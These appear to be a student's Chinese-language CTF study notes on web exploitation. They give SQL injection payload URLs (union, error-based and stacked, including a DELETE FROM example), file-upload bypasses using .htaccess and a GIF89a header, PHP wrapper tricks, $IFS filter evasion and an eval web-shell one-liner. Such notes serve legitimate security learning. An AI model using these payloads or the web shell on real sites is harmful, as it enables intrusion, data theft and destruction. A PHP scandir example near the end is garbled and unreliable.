| web之linux基本操作1、Linux中“./”在系统文件中表示绝对路径的意思。linux系统中,所有的文件与目录都是由根目录/开始,不是以/开头的就是相对路径;
 1、“.”表示当前目录,也可以用“./”表示;
 2、“…”表示上一级目录,也可以用“…/”表示;
 3、“~” 代表用户自己的宿主目录;
 4、“/”处于Linux文件系统树形结构的最顶端,我们称它为Linux文件系统的root,它是Linux文件系统的入口。
 所有的目录、文件、设备都在/之下,它是Linux文件系统最顶层的唯一的目录;
 一般建议在根目录下面只有目录,不要直接存放文件;根目录是linux系统启动时系统第一个载入的分区,所以启动过程中用到的文件应该都放在这个分区中。
 其中/etc、/bin、/dev、/lib、/sbin这5个子目录都应该要与根目录连在一起,不可独立成为某个分区。
 web之sql注入1、基本注入方式:求列数:http://127.0.0.1/sqli/Less-2/?id=1 order by 3 #
 求显示位:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 #
 求库名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3 #
 求表名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #
 求列名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ #
 求字段值:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x23,password),3 from security.users #
 2、堆叠注入:sql注入的时候可能会出现禁用单词的情况,这时候可以使用“堆叠注入”在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。4、文件包含漏洞利用伪协议进行操作:php://filter/convert.base64-encode/resource=绝对路劲或相对路劲
 3、sql注入空格绕过:
 $IFS$1替换
 ${IFS替换
 %20替换
 <和<>重定向符替换
 %09替换
 4、sql注入rename table 表名 to 新表名 #更改表名
 alter table 表名 change 旧字段名 新字段名 字段类型 #更改表中字段名
 5、sql注入之盲注:可以使用sqlmap跑(需要学习)
 6、sqlmap使用:
 7、union select 小技巧:在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据 我们通过union select查询就可以构造一行虚拟的数据,进行MD5密码验证的绕过
 8、updatexml报错注入:
 爆数据库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123
 爆表名:?username=admin’or(updatexml(1,concat(0x7e,
 (select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))%23&pa
 ssword=123
 爆列名:?username=admin’or(updatexml(1,concat(0x7e,
 (select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))%23&pa
 ssword=123
 爆字段名:?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=123
 left right 拼接flag:
 可以使用left(),right()来进行拼接操作
 ?username=admin’or(updatexml(1,concat(0x7e,
 (select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
 ?username=admin’or(updatexml(1,concat(0x7e,
 (select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=123
 web之上传绕过1、基本绕过 抓包查看黑白名单,通过修改其黑白名单进行绕过2、大小写绕过,通过修改后缀的大小写来进行绕过
 3、后缀名修改就行绕过php,php3,php4,php5,phtml.pht
 4、.htaccess文件绕过 : SetHandler application/x-httpd-php 将其他文件转化为php文件
 .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。新建.htaccess文件,编辑内容为SetHandler application/x-httpd-php
 //该语句作用是让Apache将其他类型文件均以php格式解析 更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。 ####buuctf 你传你🐎呢
 5、可以绕过<?检查,可以绕过头文件检查:GIF89a
 
 web之协议1、rotobs.txt:网路爬虫协议 web之命令执行####1 ‘|’真|真=true -> 执行后面面的
 假|真=false -> 都不执行
 ####2 ‘||’
 真||真=true -> 执行前面的
 真||假 or 假||真 谁真执行谁
 ####3 ‘&’
 真&真 = true ->两个都执行
 真&假or假&真 -> 真的执行
 ####4 ‘&&’
 真&&真 ->都执行
 假&&真 ->执行到有假的地方报错
 以0e开头的字符串且MD5后还是0e:0e215962017 0e291242476940776845150308577824
 cat 与 tac:
 cat的功能是将文件从第一行开始连续的将内容输出在屏幕上。但是cat并不常用,原因是当文件大,行数比较多时,屏幕无法全部容下时,只能看到一部分内容。
 tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上。我们可以发现,tac实际上是cat反过来写。
 命令执行时如果过滤php 可以<?=eval(\$_POST[a]);?> 这样书写一句话
 web总结1、php中isset判断变量是否声明2、sql注入rename table 表名 to 新表名 #更改表名
 alter table 表名 change 旧字段名 新字段名 字段类型 #更改表中字段名
 求列数:http://127.0.0.1/sqli/Less-2/?id=1 order by 3 #
 求显示位:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3 #
 求库名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,database(),3 #
 求表名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ #n.
 求列名:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ #
 求字段值:http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(username,0x23,password),3 from security.users #
 3、sql注入的时候可能会出现禁用单词的情况,这时候可以使用“堆叠注入”在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。4、文件包含漏洞利用伪协议进行操作:php://filter/convert.base64-encode/resource=绝对路劲或相对路劲
 php://input #可以用来实现文件上传中的任意命令执行
 php://filter/read=convert.base64-encode/resource
 data伪协议。data协议通常是用来执行PHP代码:data://text/plain;base64,文件内容
 5、空格过滤绕过:
 ${IFS}替换php的serialize()函数和unserialize()函数
 适用情境:serialize()返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。比较有用的地方就是将数据存入数据库或记录在文件中的时候 serialize()可处理处资源类型外所有的类型,也可以序列化对象<?php $array = array(); $array['keys'] = 'www'; $array['values']='11111'; $a = serialize($array); echo $a; unset($array); $a = unserialize($a); print_r($a); ?> 输出 a:2:{s:4:“keys”;s:3:“www”;s:6:“values”;s:5:“11111”;} Array ( [keys] => www [values] => 11111 )     $IFS
    ${IFS}
    $IFS$1替换
    %20替换
    <和<>重定向符替换
    %09替换
 6、更改头文件信息之改变原地址:Referer:+新地址更改头文件信息之改变访问浏览器:User-Agent:+新浏览器
 更改头文件信息之改变IP地址:X-Forwarded-For:+新ip地址
 7、php之var_dump:“var_dump”是PHP中的调试函数,用于判断一个变量的类型与长度,并输出变量的数值。
 用var_dump打印所有的对象,可以查看对象内部的数据结构;var_dump里面的变量必须是存在的。
 php之scandir()函数:<?php
 $dir = “/images/”;
 // 以升序排序 - 默认
 a
       
       
        =
       
       
        s
       
       
        c
       
       
        a
       
       
        n
       
       
        d
       
       
        i
       
       
        r
       
       
        (
       
      
      
       a = scandir(
      
     
    a=scandir(dir);
 // 以降序排序
 b
       
       
        =
       
       
        s
       
       
        c
       
       
        a
       
       
        n
       
       
        d
       
       
        i
       
       
        r
       
       
        (
       
      
      
       b = scandir(
      
     
    b=scandir(dir,1);
 print_r(
    
     
      
       
        a
       
       
        )
       
       
        ;
       
       
        p
       
       
        r
       
       
        i
       
       
        n
       
       
        
         t
        
        
         r
        
       
       
        (
       
      
      
       a); print_r(
      
     
    a);printr?(b);
 ?>
 scandir()函数可以显示所有被选中目录下的文件和目录如果选中的是“/”
 php之file_get_contents()函数:把整个整个文件读入一个字符串中。
 php之后缀名绕过:php,php3,php4,php5,phtml.pht
 php之一句话:GIF89a?
 
 |